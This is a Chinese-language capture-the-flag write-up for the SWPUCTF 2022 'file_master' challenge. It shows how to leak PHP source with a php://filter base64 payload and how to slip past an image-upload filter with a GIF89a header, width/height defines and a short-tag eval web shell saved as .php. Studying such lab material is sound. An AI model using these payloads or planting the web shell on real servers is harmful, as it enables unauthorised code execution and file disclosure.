[SWPUCTF 2022 新生赛]file_master

[SWPUCTF 2022 新生赛]file_master

思路

题目没有描述,打开是一个文件上传表单,以及一个查询文件表单。试着传入一个index.php,即看到了页面嵌套。试着读取/etc/passwd,提示报错信息,可以看到使用的file_get_contents函数,且做了open_basedir的限制。

fuzz filename参数

使用伪协议/?filename=php://filter/read=convert.base64-encode/resource=index.php读取index.php源码,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Master!!</title>
</head>
<body>
    <h1>FILE Master(</h1>
    <form action="/" method="get">
        <label for="file">查看文件:</label>
        <input type="text" name="filename">
        <input type="submit" value="查询">
    </form>
    <form action="/" method="post" enctype="multipart/form-data"> 
        <label for="file">上传文件:</label> 
        <input type="file" name="file" id="file"><br> 
        <input type="submit" name="submit" value="上传"> 
    </div>
    <div>
<?php
    session_start();
    if(isset($_GET['filename'])){
        echo file_get_contents($_GET['filename']);
    }
    else if(isset($_FILES['file']['name'])){
        $whtie_list = array("image/jpeg");
        $filetype = $_FILES["file"]["type"];
        if(in_array($filetype,$whtie_list)){
            $img_info = @getimagesize($_FILES["file"]["tmp_name"]);
            if($img_info){
                if($img_info[0]<=20 && $img_info[1]<=20){
                    if(!is_dir("upload/".session_id())){
                        mkdir("upload/".session_id());
                    }
                    $save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
                    move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
                    $content = file_get_contents($save_path);
                    if(preg_match("/php/i",$content)){
                        sleep(5);
                        @unlink($save_path);
                        die("hacker!!!");
                    }else{
                        echo "upload success!! upload/your_sessionid/your_filename";
                    }
                }else{
                    die("image hight and width must less than 20");
                }
            }else{
                die("invalid file head");
            }
        }else{
            die("invalid file type!image/jpeg only!!");
        }
    }else{
        echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
    }
?>
    </div>
</body>
</html>

层层递进的过滤引人注目,首先设置了MIME校验,必须上传“image/jpeg";又使用getimagesize函数读取上传文件头部信息必须为图片且限制了上传图像像素值宽高必须都不超过20;内容检测图片内容不能有php,不能使用<?php ...?>短标签绕过即可,即使用<? ...?><?= ...=?>

找一个图片,把宽高修改到20*20,把shell追加到图片后面,文件后缀.php即可。在其他wp中看到这样的payload来设置宽高:

1
2
3
4
#define height 1
#define width 1
GIF89a
<? @eval($_GET['a']); ?>

这里使用<? ...?>来闭合不可以,要使用<?= ...?>才可以;查了下区别,因为<? ...?>仅在配置short_open_tag=on时可以使用,<?= ...?>即使配置short_open_tag=off时依然可以使用,相当于<?php echo ?>,适合输出php语句。

payload

getimagesize函数,返回是一个数组。

  • 索引 0 给出的是图像宽度的像素值
  • 索引 1 给出的是图像高度的像素值
  • 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
  • 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
  • 索引 bits 给出的是图像的每种颜色的位数,二进制格式
  • 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
  • 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);

总结 & Reference

  1. <? ...?><?= ...=?>的区别,两者都可以用于php短标签被过滤时的绕过,但前者要求更苛刻需要short_open_tag=on
  2. file_get_contents直接读文件受到open_basedir的限制,可使用伪协议base64编码读源码,也可以配合php://input来执行php脚本(但当前环境我没有成功);

安全客讲php文件包含getshell:https://www.anquanke.com/post/id/248627

CSDN上的WP:https://blog.csdn.net/Leaf_initial/article/details/132592982

先知上讲bypass open_basedir:https://xz.aliyun.com/t/10070

使用 Hugo 构建
主题 StackJimmy 设计